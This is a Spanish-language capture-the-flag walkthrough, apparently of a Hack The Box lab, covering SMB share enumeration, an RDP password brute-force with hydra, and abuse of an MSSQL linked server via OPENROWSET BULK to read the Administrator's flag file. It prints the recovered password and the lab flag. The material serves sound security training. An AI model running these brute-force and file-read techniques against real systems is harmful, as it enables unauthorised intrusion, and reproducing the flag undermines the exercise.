El tercer servidor es otro servidor interno que se utiliza para gestionar archivos y material de trabajo, como formularios. Además, en el servidor se utiliza una base de datos cuya finalidad desconocemos.
Pregunta 1
¿Qué archivo puedes recuperar que pertenezca al usuario "simon"? (Formato: nombre de archivo.txt)
Encontramos 3 puertos abiertos, entre ellos el 445 SMB y el 3389 RDP que nos interesan de cara a una enumeración de usuarios y el bruteforce de estos servicios.
También con un escaneo dirigido al puerto 1433 encontramos la base de datos:
Con crackmapexec encontramos que podemos acceder al recurso compartido Home
smbclient //10.129.203.10/Home
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Apr 21 23:18:21 2022
.. D 0 Thu Apr 21 23:18:21 2022
HR D 0 Thu Apr 21 22:04:39 2022
IT D 0 Thu Apr 21 22:11:44 2022
OPS D 0 Thu Apr 21 22:05:10 2022
Projects D 0 Thu Apr 21 22:04:48 2022
7706623 blocks of size 4096. 3163657 blocks available
smb: \>
Igual que el usuario Simon, tenemos el recurso compartido Home accesible.
smbclient -U fiona //10.129.225.141/Home
Password for [WORKGROUP\fiona]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Apr 21 23:18:21 2022
.. D 0 Thu Apr 21 23:18:21 2022
HR D 0 Thu Apr 21 22:04:39 2022
IT D 0 Thu Apr 21 22:11:44 2022
OPS D 0 Thu Apr 21 22:05:10 2022
Projects D 0 Thu Apr 21 22:04:48 2022
7706623 blocks of size 4096. 3167830 blocks available
smb: \> cd IT
smb: \IT\> dir
. D 0 Thu Apr 21 22:11:44 2022
.. D 0 Thu Apr 21 22:11:44 2022
Fiona D 0 Thu Apr 21 22:11:53 2022
John D 0 Thu Apr 21 23:15:09 2022
Simon
smb: \IT\> cd John
ls
smb: \IT\John\> ls
. D 0 Thu Apr 21 23:15:09 2022
.. D 0 Thu Apr 21 23:15:09 2022
information.txt A 101 Thu Apr 21 23:14:58 2022
notes.txt A 164 Thu Apr 21 23:13:40 2022
secrets.txt A 99 Thu Apr 21 23:15:55 2022
7706623 blocks of size 4096. 3167830 blocks available
smb: \IT\John\>
Hay 3 archivos que parecen importantes dentro de este usuario John, 2 de ellos con información relevante:
afsh4ck@kali$ cat information.txt
To do:
- Keep testing with the database.
- Create a local linked server.
- Simulate Impersonation.
Vamos a hacer bruteforce a RDP para poder acceder al sistema de forma gráfica:
hydra -l fiona -P creds.txt 10.129.158.12 rdp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-07 17:01:09
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 5 login tries (l:1/p:5), ~2 tries per task
[DATA] attacking rdp://10.129.158.12:3389/
[3389][rdp] host: 10.129.158.12 login: fiona password: 48Ns72!bns74@S84NNNSl
Obtenemos la contraseña RDP de Fiona, que es la misma del servicio SMB: 48Ns72!bns74@S84NNNSl
Mimikatz no consigue extraer hashes, ya que necesitamos más privilegios, pero encontramos que podemos acceder al SQL Server:
Probamos con todas las posibles combinaciones de John pero no podemos acceder, por lo que vamos a probar a entrar a la base de datos de otra manera: con sqlcmd
Pregunta 3
Envíe el contenido del archivo flag.txt en el escritorio del administrador.
Acceso a base de datos
Una vez que hemos accedido por RDP, abrimos un cmd o powershell y ejecutamos lo siguiente:
Encontramos un servidor vinculado a MSSQL: LOCAL.TEST.LINKED.SRV
Enumeración del servidor vinculado MSSQL
1>execute('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [local.test.linked.srv]2>go-------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------------------------------------------------------------------------------------------- -----------
WINSRV02\SQLEXPRESS Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24201913:48:23 Copyright (C) 2019 Microsoft Corporation Express Edition (64-bit) onWindowsServer2019Standard10.0<X64> (Build 17763: ) (Hypervisor) testadmin 1
(1rows affected)1>
Extracción de la flag
El siguiente comando es un poco "tricky", ya que tenemos que hacer un execute del select que hace un bulk del archivo que queremos leer, y le tenemos que asignar el servidor vinculado MSSQL al final:
1> 1> execute('select * from openrowset(bulk ''C:/Users/Administrator/desktop/flag.txt'', single_clob) as contents') at [local.test.linked.srv];
2>goBulkColumn
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
HTB{46u$!n9_l!nk3d_$3rv3r$}
(1rows affected)1>
Y buumm! Conseguimos acceder al archivo que queramos correctamente, en este caso la flag!